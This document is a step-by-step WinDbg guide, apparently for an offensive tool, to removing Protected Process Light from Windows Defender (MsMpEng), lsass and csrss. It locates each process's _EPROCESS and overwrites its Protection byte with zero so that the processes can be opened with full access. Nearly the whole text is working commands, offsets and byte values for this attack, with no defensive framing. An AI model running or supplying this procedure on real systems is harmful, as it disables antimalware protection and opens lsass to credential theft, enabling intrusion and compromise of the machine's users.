PPL
OpenProcess on Defender / lsass / csrss hits a second gate in NtOpenProcess (PsGrantedAccess): it compares the caller’s _EPROCESS.Protection rank against the target’s. Too low → ACCESS_DENIED. The field is one byte.
.reload /f if names do not resolve. LiveKD is read-only — eb needs a writable kernel debug session.
Offsets (Protection, ActiveProcessLinks, ImageFileName) are build-specific. Always run dt nt!_EPROCESS on the target to confirm them.
Key Structure
_PS_PROTECTION (1 byte, packed)
+0x000 Type bits 0–2 0=None 1=PPL 2=PP
+0x000 Audit bit 3 usually 0
+0x000 Signer bits 4–7 trust rank
Byte value = (Signer << 4) | Type. Setting Type = 0 disables protection regardless of Signer.
| Signer | Who | Byte |
|---|---|---|
| 0 | None | 0x00 |
| 3 | Antimalware | 0x31 (MsMpEng) |
| 4 | Lsa | 0x41 (lsass with RunAsPPL) |
| 6 | WinTcb | 0x62 (csrss PP) |
1. Get the offsets
dt nt!_EPROCESS 0 Protection
Type-only read (0 = no memory access). Returns the field offset, e.g. +0x5FA or +0x6FA. Write this down.
dt nt!_EPROCESS 0 ActiveProcessLinks
dt nt!_EPROCESS 0 ImageFileName
ImageFileName is 15 chars — long names are truncated (MpDefenderCoreService.exe → MpDefenderCore).
2. Find the EPROCESS
WinDbg shortcut:
!process 0 0 MsMpEng.exe
The address after PROCESS is the _EPROCESS pointer.
Walk the process list (what the tool does internally):
dq nt!PsInitialSystemProcess L1
Dereferences the pointer → System _EPROCESS (the list head).
? nt!PsInitialSystemProcess - nt
RVA of the symbol — stable per build.
For each process in the list:
dt nt!_EPROCESS <ep> ImageFileName
dt nt!_PS_PROTECTION <ep>+<Protection_offset>
dq <ep>+<ActiveProcessLinks_offset> L1
ActiveProcessLinks.Flink points into the next LIST_ENTRY, not the _EPROCESS base. Subtract the ActiveProcessLinks offset to get the next EPROCESS:
next_ep = Flink - ActiveProcessLinks_offset
Stop when next_ep equals the System EPROCESS address.
3. Read the Protection byte
dt nt!_PS_PROTECTION <ep>+<Protection_offset>
Decodes the packed byte into Type, Audit, Signer fields.
db <ep>+<Protection_offset> L1
Raw byte. 0x31 = PPL Antimalware. 0x00 = not protected.
Note: Protection is often unaligned (e.g. offset ends in ...FA). Use db for a single byte read — do not use dd on an unaligned address, as adjacent _EPROCESS fields share that DWORD.
4. Zero the byte
eb <ep>+<Protection_offset> 0
eb = write one byte. Sets Type, Audit, and Signer all to 0. The process keeps running — only the open-access gate is removed.
db <ep>+<Protection_offset> L1
Verify it reads back as 00.
Commands reference
| Cmd | Does |
|---|---|
dt type 0 field |
get field offset without reading memory |
dt type addr field |
dump field at live address |
dq / db |
dump QWORDs / bytes (L<n> = item count) |
eb |
write one byte |
!process 0 0 name.exe |
find _EPROCESS by image name |
poi(addr) |
dereference pointer at addr |
Offsets are build-specific — always confirm with dt on the target before use.